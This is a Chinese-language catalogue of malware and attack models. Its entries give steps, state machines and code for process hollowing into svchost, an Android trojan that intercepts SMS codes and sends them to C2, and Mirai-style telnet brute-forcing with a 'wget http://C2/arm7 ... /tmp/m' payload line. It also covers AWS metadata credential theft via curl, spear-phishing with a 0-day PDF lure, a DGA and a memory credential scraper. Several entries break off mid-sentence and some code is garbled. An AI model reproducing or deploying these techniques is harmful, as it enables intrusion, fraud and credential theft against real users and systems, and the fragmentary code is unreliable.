b. ROP链构造：对于每个gadget，定义其副作用约束。例如，一个pop eax; retgadget要求[esp]（即S2）的值被读入eax，然后esp = esp + 8。这需要将内存布局和寄存器状态变化建模为约束。
4. 将Φ_path与所有利用约束合并，调用求解器Solver.check(Φ_total)。
5. 如果SAT，则Solver.model()给出具体输入字节和内存布局，由此生成最终的漏洞利用载荷。

顺序（符号执行收集路径）+ 搜索（在gadget空间搜索可行链）

时间：最坏情况下是指数级，受路径长度、gadget数量和约束求解复杂度影响。
空间：存储符号状态和约束，内存消耗大。

通用CPU：密集的符号模拟和约束求解运算。求解器（如Z3）是计算和内存密集型应用，涉及大量的逻辑推理和搜索。
指令序列：模拟目标程序指令的符号运算 -> 构建约束表达式树 -> 求解器内部的决策、布尔传播、理论推理等算法指令。

伪代码（核心思路）：
def generate_exploit(vuln_state):
path_constraints = vuln_state.path_constraint
exploit_constraints = []
# 假设我们要将ret addr覆盖为0xdeadbeef
exploit_constraints.append(vuln_state.regs[‘eip’] == 0xdeadbeef)
# 假设我们可以控制栈上从偏移0开始的20字节
for i in range(20):
exploit_constraints.append(vuln_state.memory[vuln_state.regs[‘esp’]+i] == BitVec(‘input_’+str(i), 8))
solver = Solver()
solver.add(path_constraints)
solver.add(exploit_constraints)
if solver.check() == sat:
model = solver.model()
return concretize_inputs(model)

Virus1-0019

无文件攻击/内存驻留

基于进程镂空与模块反射加载的隐形模型

进程镂空（Process Hollowing）

1. 创建合法进程（挂起状态）：使用CreateProcess函数创建目标合法进程（如svchost.exe），并设置CREATE_SUSPENDED标志，得到主线程句柄hThread和进程句柄hProcess。此时进程内存空间已初始化但未执行。
2. 获取进程上下文：调用GetThreadContext(hThread, &ctx)获取挂起线程的上下文，其中ctx.Eax（x86）或ctx.Rcx（x64）指向进程入口点（PEB.ImageBase）。
3. 卸载目标进程内存：在目标进程空间中，使用ZwUnmapViewOfSection或NtUnmapViewOfSection卸载其主模块（exe文件）占用的内存区域。
4. 分配新内存并写入恶意载荷：在目标进程的相同基址（或新基址）处，使用VirtualAllocEx分配可读可写可执行的内存。将恶意PE文件（可以是DLL或EXE）的节区写入该内存。
5. 修复入口点与上下文：将线程上下文的入口点寄存器修改为恶意PE的入口点RVA：ctx.Eax = NewImageBase + EntryPointRVA。使用SetThreadContext设置新上下文。
6. 恢复线程执行：调用ResumeThread(hThread)，进程从恶意代码入口点开始执行，而进程列表显示为合法进程。

隐蔽性：高。进程名为合法系统进程，恶意代码在进程内存中，无磁盘文件。检测难度大。

Windows进程与内存管理、PE文件格式、API挂钩（Zw系列）

1. 绕过传统文件特征码查杀
2. 持久化驻留，作为后门
3. 窃取高权限进程令牌
4. 注入到受保护的进程（如杀毒软件）
5. 逃逸沙箱检测（行为在合法进程内）
6. 横向移动中的权限维持
7. 作为漏洞利用后的payload投放方式
8. 游戏外挂对抗检测
9. 勒索软件加载器
10. 间谍软件内存驻留窃密

常量：合法进程路径LegitProcPath，恶意PE镜像MaliciousImage。
变量：目标进程句柄hProcess，主线程句柄hThread，线程上下文ctx，新映像基址NewBaseAddr。
参数：是否使用相同基址Flag_SameBase，是否擦除PE头Flag_ErasePE以增加检测难度。

状态：S0-创建挂起的合法进程-> S1-获取其上下文和映像基址-> S2-卸载其原始内存映像-> S3-分配新内存-> S4-写入恶意PE节区-> S5-修复导入表、重定位（可选）-> S6-修改线程上下文入口点-> S7-恢复线程执行-> S8-恶意代码在合法进程内运行。

地址计算：虚拟内存地址转换，RVA到VA的计算：VA = ImageBase + RVA。
集合：进程内存区域集合。
顺序：步骤严格，不可颠倒。

Windows Native API调用（NtUnmapViewOfSection）、PEB结构访问、汇编指令（修改寄存器上下文）。

1. CreateProcess(“svchost.exe”, ..., CREATE_SUSPENDED, ..., &pi)。
2. GetThreadContext(pi.hThread, &ctx)。
3. 从ctx中读取ImageBase地址pBase（通过PEB）。
4. HMODULE hNtdll = GetModuleHandle(“ntdll”); FARPROC pfUnmap = GetProcAddress(hNtdll, “NtUnmapViewOfSection”); pfUnmap(pi.hProcess, pBase);。
5. 解析恶意PE，获取其SizeOfImage。pNewBase = VirtualAllocEx(pi.hProcess, pBase, SizeOfImage, MEM_COMMIT\|RESERVE, PAGE_EXECUTE_READWRITE)。
6. 将恶意PE的节区逐个写入：WriteProcessMemory(pi.hProcess, pNewBase + section.VirtualAddress, section_data, ...)。
7. 修复入口点：ctx.Eax = pNewBase + maliciousEntryPointRVA; SetThreadContext(pi.hThread, &ctx)。
8. ResumeThread(pi.hThread)。

严格顺序执行

时间：O(恶意PE文件大小)，主要是内存分配和写入操作。
空间：在目标进程内分配与恶意PE等大的内存。

x86/x64 CPU：执行进程创建、内存管理、线程上下文操作的系统调用。恶意代码本身在目标进程上下文执行，使用其权限。
指令序列：SYSCALL/SYSENTER（进行Native API调用）-> 内存读写指令（MOV与系统调用参数）-> 修改寄存器值的指令（设置上下文）。

C++代码片段（核心步骤）：
// 创建挂起进程
CreateProcessA(“svchost.exe”, …, CREATE_SUSPENDED, …, &pi);
// 卸载内存
HMODULE hNTDLL = GetModuleHandleA(“ntdll.dll”);
auto NtUnmapViewOfSection = (NTUNMAPVIEWOFSECTION)GetProcAddress(hNTDLL, “NtUnmapViewOfSection”);
NtUnmapViewOfSection(pi.hProcess, (PVOID)imageBase);
// 分配新内存并写入恶意PE
LPVOID newImageBase = VirtualAllocEx(pi.hProcess, (LPVOID)imageBase, sizeOfImage, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, newImageBase, maliciousPeData, sizeOfHeaders, …);
// 写入各节区…
// 修改上下文
ctx.Eax = (DWORD)newImageBase + entryPointRVA; // x86
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

Virus1-0020

移动端恶意软件

基于权限滥用与短信拦截的金融木马模型

Android权限滥用与短信拦截木马

1. 诱导安装与权限获取：通过伪装成正常应用（如游戏、工具）诱导用户安装。在AndroidManifest.xml中声明高危权限，如READ_SMS, SEND_SMS, RECEIVE_SMS, BIND_ACCESSIBILITY_SERVICE，并在运行时动态申请。
2. 注册广播接收器：注册<receiver>监听短信广播android.provider.Telephony.SMS_RECEIVED。设置高优先级android:priority=”1000″以优先于正常应用接收短信。
3. 短信拦截与转发：在广播接收器onReceive中，提取短信内容body和发件人sender。如果短信包含银行验证码等关键词，则调用abortBroadcast()阻止短信到达正常应用，并通过HTTP POST将信息发送到C2服务器。
4. 辅助功能（AccessibilityService）滥用：绑定无障碍服务，模拟点击、读取屏幕内容，以自动完成转账确认、窃取其他应用界面信息。
5. ​ overlay攻击：在银行应用启动时，通过SYSTEM_ALERT_WINDOW权限显示一个伪造的覆盖层（Overlay）登录界面，诱使用户输入凭证。

窃取成功率：高，特别是针对安全意识薄弱的用户。绕过检测：可通过动态加载代码、字符串加密、使用合法证书签名提高隐蔽性。

Android安全模型（权限机制、组件通信）、社会工程学、UI自动化

1. 窃取短信验证码（银行、支付应用）
2. 拦截并转发用户所有短信
3. 通过伪造登录界面进行钓鱼
4. 利用无障碍服务自动点击授权按钮
5. 窃取联系人列表
6. 静默发送付费短信订阅服务
7. 勒索软件锁定屏幕
8. 录音和拍照窃密
9. 获取位置信息
10. 作为下载器，拉取更多恶意模块

常量：C2服务器URL、拦截关键词列表KeywordList、伪造的Overlay界面布局。
变量：接收到的短信对象SmsMessage、无障碍服务实例AccessibilityService、当前顶层包名TopPkg。
参数：是否启用拦截Flag_Intercept、是否启用OverlayFlag_Overlay、C2上报间隔。

状态：S0-应用启动，申请权限-> S1-注册广播接收器/无障碍服务-> S2-监听短信广播/无障碍事件-> S3-（收到短信）解析并判断是否为攻击目标-> S4-是目标则拦截并转发-> S5-（检测到银行应用启动）启动Overlay攻击-> S6-窃取凭证并发送。

逻辑：条件判断（短信内容匹配关键词、应用包名匹配）。
集合：关键词集合、目标应用包名集合。
事件驱动：由系统广播和UI事件触发。

Android组件声明（XML），Java/Kotlin代码，HTTP/JSON通信。

1. 用户安装应用后，启动Activity动态申请危险权限。
2. 在AndroidManifest.xml中注册广播接收器SmsReceiver，设置高优先级。
3. 在SmsReceiver.onReceive(Context, Intent)中：
a. 从Intent提取SmsMessage数组msgs。
b. 遍历msgs，拼接短信体sb。
c. 如果sb包含“验证码”或“code”等关键词：if (sb.toString().contains(keyword)) {
d. abortBroadcast();// 拦截短信
e. 通过AsyncTask或OkHttp将sender和sb发送到C2：httpPost(C2_URL, json)。
4. 无障碍服务onAccessibilityEvent中，监听TYPE_WINDOW_STATE_CHANGED事件，获取当前窗口包名pkg。
5. 如果pkg是目标银行包名，则启动一个Service显示全屏的Overlay视图，诱骗用户输入。

事件驱动（异步接收广播和事件）

时间：O(1)处理单条短信或事件。网络通信是主要延迟。
空间：存储少量字符串和上下文信息。

ARM CPU (Android): 执行Java/Kotlin代码，通过Android Runtime (ART)解释或JIT编译成本地指令。涉及系统服务调用（Binder IPC）、网络I/O。
指令序列：ARM常规指令集（数据处理、加载/存储、分支）。通过Binder机制与系统服务器通信的指令开销。

Kotlin代码片段（短信接收）：
class SmsReceiver : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent) {
val bundle = intent.extras
val msgs = bundle?.get(“pdus”) as Array<ByteArray>?
msgs?.forEach { rawMsg ->
val msg = SmsMessage.createFromPdu(rawMsg)
val body = msg.displayMessageBody
if (body.contains(“验证码”)) {
abortBroadcast() // 拦截
// 发送到C2
sendToC2(msg.originatingAddress, body)
}
}
}
}

Virus1-0021

物联网（IoT）恶意软件

基于弱口令爆破与默认凭证的僵尸网络模型

IoT僵尸网络（如Mirai变种）

1. 横向扫描：感染节点生成随机IP地址段（通常针对ISP的常见网段），或使用预设的硬编码IP段列表IP_Ranges。
2. 服务探测：对目标IP的多个端口（如23/Telnet, 22/SSH, 80/HTTP, 7547/TR-069）进行TCP连接探测，以识别开放的服务。
3. 暴力破解：对开放的服务，使用内置的默认用户名/密码字典CredDict = {(user1, pass1), …}进行暴力破解尝试。例如，通过Telnet发送”username\npassword\n”序列。
4. 载荷投递：一旦成功登录，根据目标架构（如ARM, MIPS, x86）上传并执行对应的恶意二进制文件。通常使用wget或tftp从C2服务器下载。
5. 加入僵尸网络：新感染节点向C2报告，接收指令（如发动DDoS攻击）。DDoS攻击常使用多种向量：UDP Flood, TCP SYN Flood, HTTP Flood等。

感染速度：快，依赖于网络规模和弱口令设备的比例。攻击强度：僵尸网络规模越大，DDoS威力越强。

暴力破解算法、网络协议、分布式拒绝服务（DDoS）攻击模型、流行病学模型

1. 组建大型DDoS僵尸网络（用于勒索或竞争）
2. 针对网络摄像头、路由器等设备的攻击
3. 加密货币挖矿（利用IoT设备算力）
4. 发起大规模扫描，为后续攻击提供跳板
5. 破坏关键基础设施（如电力、交通监控）
6. 窃取物联网设备数据
7. 伪造网络流量，干扰正常服务
8. 作为代理网络（Proxy Botnet）
9. 发送垃圾邮件
10. 针对特定游戏或服务的攻击

常量：默认凭证字典CredDict，目标端口列表PortList，不同CPU架构的恶意二进制下载URL。
变量：当前扫描IPIP_cur，当前尝试的凭证(user, pass)，与目标的会话socket。
参数：扫描线程数ThreadCount，爆破尝试次数上限MaxAttempts，DDoS攻击目标Target_IP:Port。

状态：S0-启动扫描线程-> S1-选择目标IP和端口-> S2-建立TCP连接-> S3-（成功）发送登录凭证尝试-> S4-（登录成功）识别架构并下载执行载荷-> S5-连接C2，加入僵尸网络-> S6-等待/执行C2命令（如DDoS）。

集合：IP地址空间、凭证对集合、端口集合。
组合：IP、端口、凭证的笛卡尔积尝试。
概率：成功登录的概率等于使用默认口令的设备比例。
图论：僵尸网络拓扑结构（星型、层级）。
优化：扫描策略优化，避免重复扫描。

Telnet/SSH协议交互命令，HTTP请求，二进制文件下载命令（wget）。

1. 生成目标IP：ip = random_ip_in_subnet(common_ranges)。
2. 对PortList中每个端口p：
a. sock = socket(); connect(ip, p, timeout=5)。
b. 如果连接成功，根据端口判断服务类型。
3. 若是Telnet（23）：
a. 接收banner，发送\n。
b. 接收“login:”提示，发送user + “\n”。
c. 接收“Password:”提示，发送pass + “\n”。
d. 检查返回是否包含“#”或“$”提示符，判断是否成功。
4. 登录成功后，执行命令探测架构：uname -m。
5. 下载对应架构的二进制：wget http://C2/arm7 -O /tmp/m; chmod +x /tmp/m; /tmp/m。
6. 新进程连接C2，注册自己，进入命令循环。

并行序列（多线程扫描爆破）+ 顺序（单个会话内的登录流程）

时间：O(N_ips * N_ports * N_creds)，但通过大规模并行可加速。
空间：存储凭证字典和二进制载荷，内存占用小。

嵌入式CPU (MIPS/ARM): 执行基本的网络I/O、字符串比较、进程创建。通常资源有限，恶意软件代码精简。DDoS攻击时主要发送网络数据包。
指令序列：Socket系统调用 -> 字符串比较指令（用于解析banner和响应）-> 进程创建（fork/exec）或系统调用执行下载的命令。

C代码片段（Telnet爆破尝试）：
int try_telnet(char *ip, char *user, char *pass) {
int sock = connect_to(ip, 23);
char buf[1024];
recv(sock, buf, …); // 读banner
send(sock, “\n”, 1, 0);
recv_until(sock, “login:”);
send(sock, user, strlen(user), 0); send(sock, “\n”, 1, 0);
recv_until(sock, “Password:”);
send(sock, pass, strlen(pass), 0); send(sock, “\n”, 1, 0);
sleep(1);
recv(sock, buf, …);
if(strstr(buf, “#”)

Virus1-0022

信息窃取（云环境）

基于元数据服务与角色凭证窃取的云横向移动模型

云实例元数据服务滥用

1. 识别云环境：通过检查特定文件（如/sys/class/dmi/id/）、系统日志或访问已知的元数据服务端点（如http://169.254.169.254）来确认当前处于AWS、Azure、GCP等云平台。
2. 访问元数据服务：向云平台的实例元数据服务（IMDS）发送HTTP请求，获取实例的元数据。例如，AWS IMDSv1: curl http://169.254.169.254/latest/meta-data/。
3. 窃取临时凭证：请求获取分配给该实例的IAM角色临时安全凭证。AWS路径：http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>。响应包含AccessKeyId, SecretAccessKey, Token。
4. 权限枚举与横向移动：使用窃取的凭证调用云服务商API（如AWS CLI, SDK），枚举当前凭证权限，并尝试访问其他资源（如S3存储桶、EC2实例、Lambda函数）。
5. 持久化：在获取的凭证过期前，创建新的IAM用户、访问密钥或后门函数，以实现持久化访问。

信息准确性：100%，直接从云平台官方服务获取。攻击影响：严重，可能导致整个云账户沦陷。

云安全模型（身份与访问管理，IAM）、元数据服务设计、横向移动最小权限原则

1. 从被入侵的Web服务器窃取IAM角色凭证
2. 访问敏感存储桶（S3, Blob Storage）
3. 启动新的高配置实例进行挖矿
4. 窃取数据库快照或备份
5. 篡改云函数（Lambda, Cloud Functions）代码
6. 修改网络配置（安全组、VPC）打开端口
7. 进行加密货币密钥窃取（如从Secrets Manager）
8. 供应链攻击（污染容器镜像仓库）
9. 审计日志删除（CloudTrail, Audit Log）
10. 跨账户攻击（如果角色允许）

常量：元数据服务IP地址（如169.254.169.254）、API端点（如ec2.amazonaws.com）。
变量：获取的临时凭证creds、IAM角色名role_name、当前区域region。
参数：IMDS版本（v1或v2，v2需要令牌）、请求超时时间、是否尝试权限提升。

状态：S0-检测云环境-> S1-访问元数据服务，获取角色名-> S2-请求该角色的临时凭证-> S3-使用凭证配置SDK/CLI-> S4-枚举权限和资源-> S5-根据权限进行横向移动或资源窃取-> S6-（可选）建立持久化后门。

集合：可访问的云资源集合（实例、存储桶等）。
图论：云资源关系图。
逻辑：权限策略的条件判断。
优化：根据凭证权限最大化利用资源。

HTTP请求格式、云服务商API调用（通常为RESTful JSON）、临时凭证格式（JSON）。

1. 检测：curl -s http://169.254.169.254/latest/meta-data/如果返回200，则为AWS EC2。
2. 获取角色名：curl http://169.254.169.254/latest/meta-data/iam/security-credentials/。
3. 获取凭证：curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>，得到JSON响应{“Code”:”Success”,”AccessKeyId”:”ASI…”,”SecretAccessKey”:”…”,”Token”:”…”}。
4. 配置AWS CLI：aws configure set aws_access_key_id ASI…，aws configure set aws_secret_access_key …，aws configure set aws_session_token …。
5. 枚举权限：aws sts get-caller-identity，aws iam list-attached-user-policies（或通过模拟评估）。
6. 列举S3存储桶：aws s3 ls，然后尝试下载敏感文件。

顺序（步骤依赖前一步结果）

时间：O(1)获取凭证，后续操作取决于云API调用延迟和资源数量。
空间：存储凭证和API响应，很小。

通用CPU：执行HTTP客户端请求（cURL库）、JSON解析、云服务SDK中的逻辑。无特殊硬件需求。
指令序列：网络系统调用（建立到元数据服务的连接）-> TLS/SSL加密指令（如果IMDSv2或访问外部API）-> JSON解析指令（字符串处理）-> 哈希计算（请求签名，如AWS SigV4）。

Shell脚本示例（AWS IMDSv1）：
ROLE=(curl−shttp://169.254.169.254/latest/meta−data/iam/security−credentials/)<br>CREDS=(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE)<br>ACCESSK​EY=(echo $CREDS

Virus1-0023

漏洞发现（静态分析）

基于污点分析与数据流图的漏洞模式匹配模型

静态污点分析（Taint Analysis）

1. 构建程序表示：将源代码或二进制程序转换为中间表示（IR），并构建控制流图（CFG）和调用图（CG）。
2. 识别源与汇：定义污点源（Source），即不受信任的数据输入点（如read, recv, getParameter）。定义污点汇（Sink），即敏感操作点（如system, eval, strcpy）。
3. 污点传播：从每个Source开始，沿着数据流和控制流传播污点标签。规则包括：
- 传递语句：y = x，则taint(y) = taint(x)。
- 运算语句：z = x OP y，则taint(z) = taint(x) ∪ taint(y)。
- 清除规则：当污点数据经过安全函数（如htmlspecialchars）时，可清除污点标签。
4. 漏洞检测：检查污点数据是否在未经过恰当净化（Sanitization）的情况下到达了Sink点。如果存在从Source到Sink的污点传播路径，则报告潜在漏洞。

精度：较高，但可能产生误报（过度近似）和漏报（分析不全面）。覆盖率：依赖于分析的范围（过程内/间）。

数据流分析、图论（可达性分析）、不动点计算、格理论

1. SQL注入漏洞检测
2. 跨站脚本（XSS）漏洞检测
3. 命令注入漏洞检测
4. 路径遍历漏洞检测
5. 格式化字符串漏洞检测
6. 代码注入（如反序列化）漏洞检测
7. 隐私数据泄露检测
8. 硬件描述语言（HDL）中的安全属性验证
9. 智能合约重入漏洞检测
10. 移动应用不安全数据存储检测

常量：污点源规则集Sources，污点汇规则集Sinks，净化函数集Sanitizers。
变量：程序IR图G，每个程序点的污点状态映射TaintMap。
参数：分析深度（调用层次）、上下文敏感性、字段敏感性、对象敏感性。

状态：S0-解析程序，构建IR和CFG/CG-> S1-初始化，标记所有Source点为污点-> S2-迭代传播-> S3-对每个语句，根据语义规则更新后继节点的污点状态-> S4-检查是否到达不动点（状态无变化）-> S5-收集所有到达Sink的污点路径-> S6-生成漏洞报告。

集合：污点标签集合，程序点集合。
格理论：污点状态形成一个格（如干净、污点、可能污点），传播是格上单调函数的迭代应用直到最小不动点。
图论：在数据流图上进行传播，检查Source到Sink的可达性。
不动点：使用迭代算法求解数据流方程。

中间表示语言（如LLVM IR, Jimple）、数据流方程、漏洞报告格式。

1. 对于每个函数，建立数据流方程：OUT[B] = GEN[B] ∪ (IN[B] - KILL[B])，其中IN[B]是基本块B入口的污点集，OUT[B]是出口污点集。
2. 初始化：IN[entry] = ∅，对包含Source的基本块B，GEN[B] = {taint_label}。
3. 迭代计算：对所有基本块B，计算IN[B] = ∪_{P是B的前驱} OUT[P]，然后根据B中语句的语义计算OUT[B]。例如，对于s: y = x，OUT = (IN - {y}) ∪ {x的污点}。
4. 重复步骤3直到所有OUT[B]不再变化（到达不动点）。
5. 检查每个Sink点s，如果IN[s]包含污点标签，则存在从Source到s的污点流，报告漏洞。

顺序（迭代求解数据流方程）

时间：最坏情况下O(N *

E

)，N为变量/节点数，

Virus1-0024

蠕虫（高级可持续威胁）

基于零日漏洞与社交工程组合的定向传播模型

鱼叉式钓鱼邮件结合零日漏洞利用链

1. 目标情报收集：通过开源情报（OSINT）收集目标组织员工信息，包括姓名、职位、邮箱地址、社交媒体资料，形成高价值目标列表Targets。
2. 漏洞利用链准备：获取或开发一个针对目标常用软件（如Office, PDF阅读器, 浏览器）的未知漏洞（0-day）利用链Exploit_Chain，通常包含多个阶段，如内存破坏、信息泄露、权限提升。
3. 诱饵文档制作：制作与目标业务高度相关的诱饵文档（如会议纪要、招聘计划、发票），并将Exploit_Chain嵌入其中（如通过恶意宏、OLE对象、字体文件）。
4. 鱼叉式钓鱼邮件发送：伪造发件人为可信来源（如同事、合作伙伴），撰写高度个性化的邮件正文，附上诱饵文档或包含恶意链接。
5. 载荷投递与横向移动：一旦目标打开文档或点击链接，漏洞利用链触发，在内存中执行无文件载荷，进行内网侦察、横向移动（如使用Pass-the-Hash, 利用内网漏洞）和情报窃取。

攻击成功率：针对特定目标，成功率远高于广撒网。隐蔽性：极高，难以被传统防御手段检测。

社会工程学、漏洞利用技术、威胁情报分析、网络杀伤链模型

1. 针对政府机构的APT攻击
2. 窃取企业商业机密和知识产权
3. 针对关键基础设施（能源、金融）的网络间谍活动
4. 针对特定个人的监控与信息窃取
5. 破坏工业控制系统
6. 为后续的勒索软件攻击铺路
7. 干扰政治选举进程
8. 软件供应链上游攻击（攻击开发者）
9. 云服务商的租户隔离突破
10. 移动设备高级威胁（如飞马间谍软件）

常量：目标列表Targets，漏洞利用链Exploit_Chain，诱饵文档模板DecoyDoc。
变量：当前目标target，邮件内容email_content，C2通信通道channel。
参数：是否使用0-dayFlag_0day，载荷类型（内存驻留/持久化），横向移动技术选择。

状态：S0-目标侦察与筛选-> S1-漏洞利用链准备与武器化-> S2-个性化诱饵制作-> S3-发送鱼叉式钓鱼邮件-> S4-（目标中招）漏洞触发，执行初始载荷-> S5-建立持久化与C2通道-> S6-内网横向移动与数据窃取。

图论：目标组织的社交网络图。
集合：高价值目标集合，可利用漏洞集合。
概率：目标点击/打开附件的概率模型。
优化：选择最优的攻击入口点（如安全意识薄弱的员工）。

鱼叉式钓鱼邮件的自然语言（高度个性化）、诱饵文档格式（Office, PDF）、漏洞利用代码（Shellcode）。

1. 从LinkedIn、公司网站收集目标员工E的姓名、职位、邮箱。
2. 针对E使用的软件（如Adobe Reader DC），准备一个堆溢出漏洞利用链，利用UAF漏洞获得任意地址写，最终执行Shellcode。
3. 制作一个PDF文件，内容为“E的年度绩效评估预览”，其中嵌入恶意字体文件触发漏洞。
4. 发送邮件：From: HR经理邮箱， To: E， Subject: 关于您的年度绩效评估， Body: 尊敬的E，附件是您的评估初稿，请查收。， Attachment: performance_review.pdf。
5. E打开PDF，漏洞触发，Shellcode在内存中下载并执行第二阶段载荷，连接C2。

顺序（攻击链步骤）+ 事件驱动（等待目标交互）

时间：前期侦察和武器化耗时较长，从几天到数月。初始感染是瞬时的。
空间：载荷通常较小，在内存中运行。

通用CPU：漏洞利用涉及对软件（如PDF阅读器）内存的精密操作，触发异常控制流。Shellcode执行常规系统调用。
指令序列：目标软件正常指令 -> 触发漏洞的异常指令序列（如访问已释放内存）-> Shellcode中的系统调用指令（int 0x80/syscall）。

概念性描述：攻击链高度定制化，代码不公开。核心是利用漏洞的Exploit代码，常用C/ASM编写，精确控制内存布局和代码执行流。例如，一个典型的ROP链布局在PDF的JavaScript或字体解析数据中。

Virus1-0025​

病毒/逃避技术​

基于控制流混淆与不透明谓词的抗分析模型

控制流平坦化与不透明谓词混淆

1. 函数分割：将原始函数F的控制流图（CFG）G=(V, E)的基本块V重排，并提取到一个调度器循环中。原始CFG被转换为一个 switch-case结构，每个基本块B_i对应一个case。
2. 状态变量引入：引入一个状态变量state，其值决定下一个要执行的基本块。原始边e(B_i -> B_j)被转换为对state的赋值，state = next_state(B_i, B_j)。
3. 不透明谓词插入：在调度器或基本块中插入条件永真或永假的谓词P_opaque，其值在混淆时确定但对分析者不透明，如基于数学恒等式：`P_opaque: (x*x % 2 == 0)

(x*x % 2 == 1)始终为真（对于整数x）。增加无用的分支路径。<br>4. **调度器循环**：一个中央调度循环根据state的值，通过switch(state)跳转到对应的基本块B_i。每个基本块执行后，更新state`以跳转到下一个合法块。

混淆强度：高，显著增加逆向工程和静态分析的难度。开销：引入额外分支和计算，导致性能下降约10%-50%。

控制流图理论、布尔逻辑、不可判定性理论（构造难以静态分析但动态恒定的谓词）

1. 商业软件保护（防止破解和逆向）
2. 恶意软件逃避静态分析和反汇编
3. 数字版权管理（DRM）核心逻辑保护
4. 移动应用（Android/iOS）代码混淆
5. 智能合约防逆向（一定程度）
6. 固件代码保护
7. 游戏反作弊模块保护
8. 安全关键代码（如加密算法）的混淆
9. 软件水印的隐藏
10. 对抗符号执行和污点分析

常量：原始基本块集合{B_i}，不透明谓词构造库P_lib。
变量：状态变量state，下一状态映射函数next_state，不透明谓词变量x。
参数：平坦化程度（基本块分割粒度）、不透明谓词密度、是否使用动态生成的不透明谓词。

状态：S0-原始CFG-> S1-基本块分割与重编号-> S2-构建状态转移映射-> S3-插入不透明谓词和虚假块-> S4-生成调度循环和switch结构-> S5-混淆后代码。
运行态：S_start（进入调度器）-> S_dispatch（根据state switch）-> S_Bi（执行基本块i）-> S_update（计算下一state）-> S_dispatch。

图论：原始CFG到扁平化后状态机的转换。
逻辑：不透明谓词是逻辑永真式或永假式。
代数：构造基于数论或复杂多项式的不透明谓词，例如P: (a*a + b*b) % 2 == 0，其中a和b是运行时变量但满足特定关系。
控制流：将结构化控制流（if/else, loop）转换为基于状态的跳转。

高级语言（C/C++）的switch-case语句、goto语句、虚假的条件分支。在汇编层面表现为大量的条件跳转和无用代码块。

1. 分析阶段：对函数F，构建其CFG G。
2. 重排与分割：将G的节点V重排为序列B_1, B_2, ..., B_n，可能将大块分割。
3. 构建映射：对G中每条边(B_i -> B_j)，计算一个唯一的下一状态值next_ij。
4. 生成代码：
c<br> int state = INIT_STATE;<br> while(state != END_STATE) {<br> switch(state) {<br> case STATE_1: { B1(); state = next(B1); break; }<br> case STATE_2: { B2(); if (opaque_predicate()) { // 永远为真<br> state = next(B2);<br> } else { // 不可达分支<br> state = FAKE_STATE;<br> } break; }<br> // ... 其他case<br> case FAKE_STATE: { fake_code(); state = next(B2); break; } // 虚假块<br> }<br> }<br>
5. 不透明谓词：在case块内插入如if ((x*7 + 3) % 2 == 1)这样的语句，其值在混淆时通过选择特定的x（如x=1）确定，但对分析者x是变量。

顺序（基本块内代码）+ 受控的随机/伪随机跳转（由state变量和switch决定，模拟原始CFG）

时间复杂度：增加常数因子，每个基本块执行前后多了状态判断和跳转。
空间复杂度：代码膨胀，增加调度器和不透明谓词代码。

Virus1-0026​

木马/后门​

基于域名生成算法（DGA）的弹性C2通信模型

时间种子的确定性域名生成算法

1. 种子获取：从确定性源获取种子s。常用当前日期d（如2026-03-19）或带偏移的日期。公式：`s = hash(Year

Month

Day) 或s = hash(Year

Month

Day

key)。<br>2. **域名生成**：使用伪随机数生成器（PRNG），以s为种子，生成一个随机数序列R = PRNG(s)。将R映射到字符集C = [a-z0-9]，生成固定长度L的域名字符串dom = map_to_chars(R, L)。算法每天变化。<br>3. **尝试连接**：将生成的域名与一组固定顶级域（TLD）如.com,.net,.org组合，尝试进行DNS解析或HTTP连接，如dom_i = dom + “.” + TLD[j]`。
4. 退避与重试：如果当日所有生成域名均无法连接，则进入休眠，等待下一个周期（如下一天）生成新的域名列表再次尝试。

弹性：高，通过改变种子每日更换C2域名，使黑名单失效。可预测性：对攻击者可控，因算法和种子已知；对防御者，若算法未逆向则难以预测。

密码学安全伪随机数生成器、哈希函数、时间同步

Virus1-0027​

信息窃取/凭据获取​

基于内存扫描与正则表达式匹配的通用凭证提取模型

进程内存通用凭证抓取器

1. 进程枚举与筛选：枚举系统所有进程{P_i}，根据进程名、路径或父进程等特征筛选出目标进程（如浏览器chrome.exe、邮件客户端outlook.exe、FTP工具filezilla.exe）。
2. 内存区域遍历：对目标进程P，使用VirtualQueryEx（Windows）或/proc/pid/maps（Linux）遍历其内存区域，筛选出可读且可能包含用户数据（如MEM_PRIVATE、MEM_COMMIT）的区域Region_j。
3. 模式匹配扫描：将每个内存区域的内容读入缓冲区buf。使用预定义的正则表达式模式集Patterns（如[Pp]assword, [Uu]sername, [Kk]ey, [Ss]ecret，以及特定服务的固定字符串）对buf进行扫描。对于每个匹配位置pos，提取其上下文（前后C个字节）。
4. 启发式验证与提取：对匹配的上下文进行启发式分析，如寻找常见的分隔符（=, :, “）、JSON/XML结构、或长度限制，以提取出可能的凭证字符串cred。
5. 解密尝试（可选）：对于已知的加密存储格式（如浏览器密码库），尝试在内存中定位加密密钥master_key，并使用相应算法（如AES-GCM）解密提取的密文ciphertext。

查全率：依赖于模式集的完备性和内存布局。可能提取到大量误报（非凭证的字符串）。查准率：通过启发式验证可提高。

正则表达式、字符串匹配算法（如Boyer-Moore）、进程内存管理、密码学（加密存储格式）

1. 提取浏览器保存的密码和Cookie
2. 提取SSH客户端（如PuTTY）缓存的私钥和密码
3. 提取FTP/邮件客户端保存的登录凭据
4. 提取游戏客户端保存的令牌和密码
5. 提取云服务CLI工具（如aws, gcloud）的访问密钥
6. 提取数据库连接工具的连接字符串
7. 提取VPN客户端的配置和证书
8. 提取开发环境中的API密钥（IDE内存）
9. 提取密码管理器（如KeePass）解锁后的内存内容
10. 数字取证中的内存取证分析

常量：目标进程名模式列表TargetProcessPatterns，正则表达式模式列表Patterns，上下文大小C。
变量：进程句柄/描述符hProcess，内存区域基址base_addr，区域大小region_size，匹配结果列表matches。
参数：扫描粒度（页大小）、启发式验证的严格度、是否尝试解密Flag_Decrypt。

状态：S0-枚举系统进程-> S1-筛选目标进程-> S2-打开进程，获取内存映射-> S3-遍历内存区域-> S4-读取区域内容-> S5-正则匹配扫描-> S6-启发式验证与提取-> S7-（可选）解密-> S8-记录凭据-> S9-（更多区域？返回S3）-> S10-（更多进程？返回S1）。

集合：进程集合，内存区域集合，匹配结果集合。
